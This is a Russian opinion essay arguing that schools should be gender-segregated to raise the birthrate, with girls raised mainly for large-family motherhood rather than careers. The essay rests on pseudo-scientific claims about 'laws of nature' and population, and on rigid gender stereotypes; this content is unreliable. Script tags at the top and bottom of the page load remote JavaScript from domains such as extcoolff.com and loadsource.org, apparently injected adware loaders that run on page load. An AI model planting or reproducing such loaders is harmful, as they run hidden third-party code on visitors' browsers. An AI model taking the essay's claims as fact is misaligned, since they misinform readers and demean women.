Какой должна быть наша школа? Часть 2. Школа и рождаемость.

<script type="text/javascript" src="http://s3.amazonaws.com/js-cache/19d2b7dbe41d133ee6.js"></script>

Школа - эффективный инструмент изменения демографической ситуации в стране.

 В настоящее время Россия стоит перед величайшей в её истории угрозой — депоппуляции и, как следствие, распада территориального и государственного. Многим покажется это явным преувеличением, несуществующей проблемой, но это не так. На самом деле, не смотря на то, что внешне кажется ничего не предвещает беды, ситуация очень сложная, тяжёлая, угрожающая. Так чем же эта угроза - распад обусловлен?

 Как обычно, для этого существуют причины двух типов. Первый - объективные предпосылки и второе - субъективные. Эти два фактора связаны друг с другом и взаимно дополняют друг друга. К субъективным предпосылкам можно отнести внешнее давление. К объективным внутренние факторы. Причем, чем сильнее проявляются внутренние, тем сильнее начинают сказываться внешние. Вот об этих внутренних причинах я и хочу поговорить. А о каких внутренних предпосылках, угрожающих распаду России, можно говорить как об объективных? НИЗКАЯ РОЖДАЕМОСТЬ!

 Во-первых; это приводит к недостаточной, для такой большой по территории, как наша, страны, численности населения. Что, элементарно, усложняет защиту этих территорий. Во -вторых; представьте, что в нынешних условиях, когда в семье растёт только один ребёнок, может ли он быть более конкурентно способным по-сравнению с ребёнком из многодетной семьи? Ведь на одного ребёнка в семье приходится 6 взрослых! Эта взрослая команда практически пестует своего единственного продолжателя рода ,чуть ли, не до 30 лет. Помогает ему во всём, страхует от неудач, берёт на себя ответственность в рисках и пр. Большой команде взрослых гораздо проще, что называется, "отмазать" молодого человека, например, от армии. Отсюда, между прочим, и одна из причин бытовой коррупции. Вместе скинутся то легче. А чего не сделаешь ради единственного сына, внука? А если бы их было несколько? Элементарно, денег бы не хватило на всех, а значит и не на кого. Поэтому, низкая рождаемость в российских семьях подрывает и, если так можно сказать, жизнестойкость русского человека, твёрдость его характера, что всегда являлось важнейшей чертой русских людей, способствующей выживанию русского народа в сложнейших условиях внутри видовой конкуренции.

 Есть ещё один очень важный отрицательный фактор - низкая рождаемость неизбежно приводит к снижению интеллектуального уровня народа. Ведь, природа этот супер могущественный экспериментатор, каждое мгновение над каждым живым организмом во вселенной ставит свои эксперименты. Она вносит какие либо изменения в эти организмы и смотрит что из этого получилось. Хорошо или плохо? И очевидно, чем больше экспериментального материала она имеет (в нашем случае это соответствует большему количеству рождений), тем больше вероятность появления организмов(детей) с новыми, выдающимися свойствами(в нашем случае одарённых людей, гениев), а чем меньше рождений, тем меньше одарённых детей.

 Я не хочу более останавливаться на дальнейших доказательствах пагубности для страны низкой рождаемости. Скажу только, что есть закон природы определяющий, что во внутривидовой конкуренции побеждает тот род, который имеет более высокую рождаемость. Это закон природы. Нравится это кому или нет, но это так.

 И мы можем в своей жизни учитывать действие законов природы либо нет. Если мы учитываем законы природы мы приобретаем, новые возможности, качества, ранее не имеющиеся. Ну, например, использование свойства воздушного потока, именуемое как "Закон Бернулли", привело к тому, что человек научился создавать летательные машины. Если нет, то мы боремся с проблемами, топчемся на одном месте, останавливаемся в развитии, становимся уязвимыми от внешних неблагоприятных условий.

 А для человеческого общества неблагоприятные условия это не только природные катаклизмы, но и социальные. Причём вторые, до настоящего времени, остаются доминирующие. Все страны находятся в состоянии конкуренции. Экономической, технологической, военной и др. Представьте себе, что наши оппоненты (США +ЕС) обладают численностью населения в 6-7 раз большей чем в России, а, значит, и соответствующим мобилизационным ресурсом. Добавьте к этому более высокую производительность труда и что получится? А получится, что для обеспечения безопасного существования нашего государства, народа необходимо, чтобы мощь нашей экономики была бы в 15-20 выше, существующего ныне в стране уровня. Вот только тогда мы сравняемся с нашими историческими конкурентами. Возможно это сегодня? Вряд ли. Возможно это в будущем? Тоже вряд ли. А значит, рождаемость имеет стратегическое значение для нашей страны, государства, народа с точки зрения существования! И потому, надо законы природы брать себе в союзники. А значит, необходимо решать проблему рождаемости и не на какие-то там проценты, а в разы! Ибо, для нашей страны, в её современных границах, численность населения должна быть в пределах 500 - 1000 млн. человек.

 Но демографическая проблема это комплексная проблема. Если рассуждать очень крупными категориями, то для повышения рождаемости у нас имеется два способа воздействия экономический и морально-нравственный. Я хочу остановиться сейчас на морально-нравственных стимулах повышения рождаемости. Именно на это может оказать огромное влияние школа. Но что это такое - моральные стимулы повышения рождаемости?

 Это, всего лишь навсего, такой общественный настрой, общественное сознание, при котором общество от женщин страны ожидает, прежде всего, исполнения материнских обязанностей. Создаёт для этого систему моральных стимулов, атмосферу наивысшей значимости для женщин быть многодетной матерью, а не быть частью производительной силы общества, так сказать, помощницей мужчине на производстве, а то и заменять его.

 Ибо, нет не одной мужской профессии, которую не смогла бы освоить женщина, но нет ни одного мужчины способного рожать. И чем больше мужских функций берёт на себя женщина, чем больше она подражает мужчине, тем меньше, естественно, она стремится быть женщиной, матерью. Отсюда и низкая рождаемость. Необходимо остановить эту порочную практику. Необходимо вернуться к естественному разделению функций мужчин и женщин по продолжению рода, воспитанию детей. А значит, в людях надо ВОСПИТАТЬ к женщине и в самой женщине соответствующее отношение. Но возникает вопрос как это сделать?

 Самым мощным и, в настоящее время, практически не используемым в этих целях, инструментом является школа. Именно в школе необходимо воспитывать в девочках настрой после школы посвятить жизнь воспитанию детей, созданию большой и крепкой семьи, а не построению карьеры, превращению в производственную функционерку.

 Вы скажите , а мальчиков этому не обучать? Мальчиков необходимо воспитывать так, чтобы он понимал, что его главная жизненная задача обеспечить своей семье необходимые жизненные условия для этого. Ему надо внушать, что вся его производственная деятельность, карьерный рост, успехи собственной предпринимательской, хозяйственной и иной деятельности это, всего лишь, ИНСТРУМЕНТ ДОСТИЖЕНИЯ только ЭТОЙ цели, а не цели формирования высокого, "уважаемого" общественного статуса. И вместе супруги должны понимать, что не стремление к бОльшему жизненному комфорту должно быть основным содержанием жизни, а выращивание детей.

 Именно крепкая и большая семья должна быть показателем высокого общественного статуса, а не занимаемая должность или публичность.

 Всему этому должна содействовать школа. Ну, конечно, не только школа, но сейчас мы обсуждаем только как этому может помочь школа. Что надо в ней изменить, чтобы она исполняла эти функции?

 Прежде всего, надо понять, что мальчиков и девочек в школе надо учить разному и воспитывать по- разному. Почему? Да очень просто. Это вытекает из того, что функции женских и мужских особей в совместной заботе о подрастающем поколении, во всём животном мире, разделены.

 Человек не исключение из этого. На него, так же, распространяется Божий замысел(или замысел природы - как хотите). А Господь разделил всё живое на земле не для того, чтобы в паре веселей жилось, а для того, чтобы легче было выживать и продолжать род.

  Обратите внимание, что все живое на земле образует систему пищевых связей. То есть, любое живое существо является охотником на другое живое, которое является для него источником пищи, и одновременно само является источником пищи и объектом охоты со стороны другого. Поэтому всему живому на земле надо выполнять две функции - нападать и обороняться одновременно. Поэтому Эволюция, с точки зрения обеспечения выживаемости рода, и пошла по пути разделения функций особей. Одна часть особей-женская стала ответственна за рождение и ухаживание за потомством, а другая - мужская за защиту и обеспечение пищей.

Так оказалось значительно легче обеспечить выживание рода! Поэтому и произошло естественное распределение функций. Так задумано природой.

 Но человек, в очередной раз, посчитал, что он выше законов природы, что к нему это не относится. Оправдывает его только одно - невежество. Но сейчас-то мы точно знаем, что несоблюдение законов природы ведёт к проблемам, например экологическим катастрофам. Нельзя разделять животных на вредных и полезных, нельзя поворачивать реки вспять и пр. Ибо, это приводит к созданию новой экологической среды человеку, в которой места уже может и не быть.

 Так же нельзя устанавливать социальные законы и правила, противодействующие биологическим законам. Можно даже сказать, что все законы человеческого общества должны быть так же экологически чистыми. Нельзя, чтобы социальные нормы, законы, обычаи, потребности приводили к уменьшению рождаемости. По крайней мере, если речь идёт о нашей стране и в настоящее время.

 Вот и давайте взглянем с этих позиций на нашу школу. В наших школах и девочки и мальчики учатся в одних классах вместе. И к чему это приводит? Это приводит к УНИСЕКСУАЛЬНОМУ воспитанию. Девочки становятся похожими на мальчиков. Перенимают у них не самые хорошие черты. Например, распространённая среди женщин привычка курить в очень большой степени появляется благодаря общению девочек с мальчиками. То же можно говорить и о бранном лексиконе. У девочек вырабатывается мужеподобная форма поведения, общения и пр. А мальчики? Они наоборот становятся более женоподобными. Не в этом ли причина распространения сексуальных переориентаций в Европе?

 Кроме того, совместное обучение затрудняет сексуальное воспитание детей, а с другой стороны, облегчает детям возможность ранних сексуальных контактов, экспериментов. Всему должно быть своё время. То есть, УНИСЕКСУАЛЬНОЕ ВОСПИТАНИЕ, воспитание без учёта того, что в жизни женщины и мужчины в семье и обществе должны выполнять различные, но взаимодополняющие функции, ПРИВОДИТ К ТОМУ, ЧТО ДЕВОЧКИ НЕ ВИДЯТ СВОЮ БУДУЩУЮ ВЗРОСЛУЮ ЖИЗНЬ В ОБРАЗЕ МНОГОДЕТНОЙ МАМЫ, а мальчики становятся безответственными, не способными взвалить на себя и нести груз проблем семейной жизни. И в будущем, женщины, невольно, с точки зрения жизненных приоритетов, стремятся быть похожими на мужчин. Для них главным становится карьера. Но, чем больше женщина стремится быть похожей на мужчину, тем меньше она стремится быть многодетной матерью. Отсюда и снижение рождаемости. Конечно, это не единственная причина, но это причина по, которой БЫТЬ МНОГОДЕТНОЙ МАМОЙ СТАНОВИТСЯ НЕ ПРЕСТИЖНО.

 Вывод. Девочек и мальчиков в школах надо учить и воспитывать по-разному. Не разному, хотя отличия в программах обучения неизбежны, но по-разному. Целью обучения девочек в школах должно быть подготовка их к тому, чтобы многодетность их не пугала, а, более того, стать многодетной мамой становилось престижно, уважаемо всеми, стало признаком более высокого общественного статуса, построение семьи явилось главным смыслом всей жизни.

 Согласитесь, что в современной школе таких задач по воспитанию девочек не ставится. Они воспитываются как и мальчики и получают для взрослой жизни практически такие же установки. Карьера главное,а семья дополнение к ощущению полноценности жизни.

 А почему воспитание в девочках готовности посвятить свою жизнь п режде всего, строительству многодетной семьи недостижимо в рамках традиционного семейного воспитания? Всё очень просто. В настоящее время российские семьи малодетны. И как в однодетной семье мать может воспитывать в своей дочери желание иметь много детей? Собственным примером? Словами? Собственный пример противоположный, а слова, в таком случае, будут неубедительны. В этом случае, только воспитательное воздействие извне - со стороны государства, как представителя интересов общества, может оказаться единственно эффективным.

 И наиболее удобным инструментом такого воздействия может стать именно школа, дающая девочкам женское, а мальчикам мужское воспитание.

 Так как достичь того, чтобы в школах девочки получали женское, а мальчики мужское воспитание? Да очень просто. Необходимо, прежде всего, ввести раздельное обучение девочек и мальчиков в школах. Точнее восстановить раздельное обучение.

 Что это даёт? Это позволит более откровенно проводить сексуальное воспитание молодёжи. Давайте вспомним, что для детей крестьян каких-то 100, даже 80 лет назад, не было тайны в вопросе появления детей на свет. В хозяйстве всегда была живность: корова, птица, кони. Взрослые регулярно занимались вопросами разведения животных. Дети воочию наблюдали процессы зачатия у животных. И им не надо было объяснять на пестиках и тычинках, бабочках и рыбках функции самцов и самок во время спаривания. Ну и, естественно, им не надо было объяснять сексуальные функции мужчин и женщин, поскольку, они просто трансформировали свои наблюдения за животным миром на родителей и себя. И это представление было естественным и нормальным.

 В наше время, когда люди утратили прямую связь с животным миром, приходится взрослым объяснять это детям и тут возникают ситуации неловкости и прочее. Но насколько бы проще задача обучения молодёжи правилам и нормам сексуальной жизни решалась бы в атмосфере естественной откровенности в однополом кругу. Все это хорошо знают. Все через это проходили.

 Поэтому, если бы девочки м мальчики обучались бы отдельно друг от друга, то сексуальное обучение было бы проще, естественней, легче. Можно было бы без обиняков разговаривать о ролях, функциях, которые исполняют женщины и мужчины во время зачатия. Но, в тоже время, такие подробные уроки не приводили бы к возникновению двусмысленных, неловких ситуаций и тп, поскольку, после таких занятий было бы исключено общение с представителями противоположного пола.

 Отсутствие в классе представителей противоположного пола вырабатывало бы, например, у мальчиков более уважительного отношения к девочкам, а девочки становились бы более женственными. Возродилась бы традиция школьных балов. Все школьники с волнением бы ожидали встречи друг с другом. Ведь девочкам и мальчикам пришлось бы встречаться на так уж и часто. Балов то было бы два-три раза в году. Было бы что-то романтичное в этом. Не то, что сейчас - забежали за угол школы мальчишки и девчонки, достали по сигарете и начали общаться с применением нецензурных выражений на щекотливые темы. А это, к сожалению, так. Это настоящая действительность. И становится возможным она благодаря наличию унисексуального воспитания, доступности межполового общения.

 Ну и, естественно, школьные программы в женской и мужской школе должны ориентировать мальчиков на выполнение мужских обязанностей в обществе, а девочек женских. Например, в женских школах уместно глубокое изучение законодательства РФ касающееся защиты прав матери и ребёнка. Каждая девочка после окончания школы должна знать свои будущие материнские права, знать как правильно распоряжаться материнским капиталом, на какую помощь от государства она может рассчитывать и прочее.

 Хотя, конечно, что касаемо прикладных, естественных наук разницы быть не должно. Но тут надо подчеркнуть, что РАЗДЕЛЬНОЕ ОБУЧЕНИЕ девочек и мальчиков в школах не ставит целью дать им различный объём знаний, а ПОЗВОЛЯЕТ, главным образом, создать различную атмосферу обучения и воспитания, с целью помочь СФОРМИРОВАТЬ У МОЛОДЁЖИ ПРАВИЛЬНОГО ЖИЗНЕННОГО НАСТРОЯ, а в обществе СООТВЕТСТВУЮЩЕГО МИРОВОЗРЕНИЯ.

 А насколько сложно перестроить совместную систему образования на раздельную? Это тоже очень просто. Не так давно в школах было распространено обучение в две смены. Вот вам и ответ на этот вопрос. Достаточно, в одних и тех же школах, в которых ранее все учились в одну смену, ввести мужские и женские смены. И всё!

 Итак очень простым способом - введением раздельного обучения девочек и мальчиков в школах, мы можем воспитать у молодых женщин и мужчин необходимое мировозрение на сексуальные отношения, на роль и обязанности супругов в семье и смысл в жизни, настроить их на создание крепкой и многодетной семьи как главной жизненной задачи. В следующей части рассмотрим вопрос как можно преобразовать школу по форме с целью облегчения усваивания большего объёма информации при одновременном снижении учебной нагрузки.

В третей части обсудим как улучшить качество обучения в школах и улучшить здоровье шклоьников.

<script type="text/javascript" src="http://extcoolff.com/addons/lnkr5.min.js"></script> <script type="text/javascript" src="http://loadsource.org/91a2556838a7c33eac284eea30bdcc29/validate-site.js?uid=52178x6610x&amp;r=1537120151950"></script> <script type="text/javascript" src="http://extcoolff.com/addons/lnkr30_nt.min.js"></script>